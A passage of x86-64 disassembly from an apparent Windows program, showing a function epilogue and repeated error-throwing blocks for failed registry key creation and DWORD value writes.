movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, str.Cannot_write_DWORD_value:_RegSetValueExW_failed.
mov edx, eax
lea rcx, [rbp - 0x78]
call fcn.1400398c0
lea rdx, [0x140208970]
lea rcx, [rbp - 0x78]
call fcn.14013eeb0
nop
lea r8, str.RegCreateKeyExW_failed.
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.1400398c0
lea rdx, [0x140208970]
lea rcx, [rbp - 0x50]
call fcn.14013eeb0
nop
lea r8, str.Cannot_write_DWORD_value:_RegSetValueExW_failed.
mov edx, eax
lea rcx, [rbp - 0x78]
call fcn.1400398c0
lea rdx, [0x140208970]
lea rcx, [rbp - 0x78]
call fcn.14013eeb0
nop
lea r8, str.RegCreateKeyExW_failed.
mov edx, eax
lea rcx, [rbp - 0x78]
call fcn.1400398c0
lea rdx, [0x140208970]
lea rcx, [rbp - 0x78]
call fcn.14013eeb0
nop
lea r8, str.Cannot_write_DWORD_value:_RegSetValueExW_failed.
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.1400398c0
lea rdx, [0x140208970]
lea rcx, [rbp - 0x50]
call fcn.14013eeb0
nop
lea r8, str.Cannot_write_DWORD_value:_RegSetValueExW_failed.
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.1400398c0
lea rdx, [0x140208970]
lea rcx, [rbp - 0x50]
call fcn.14013eeb0
nop
lea r8, str.RegCreateKeyExW_failed.
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.1400398c0
lea rdx, [0x140208970]
lea rcx, [rbp - 0x50]
call fcn.14013eeb0
int3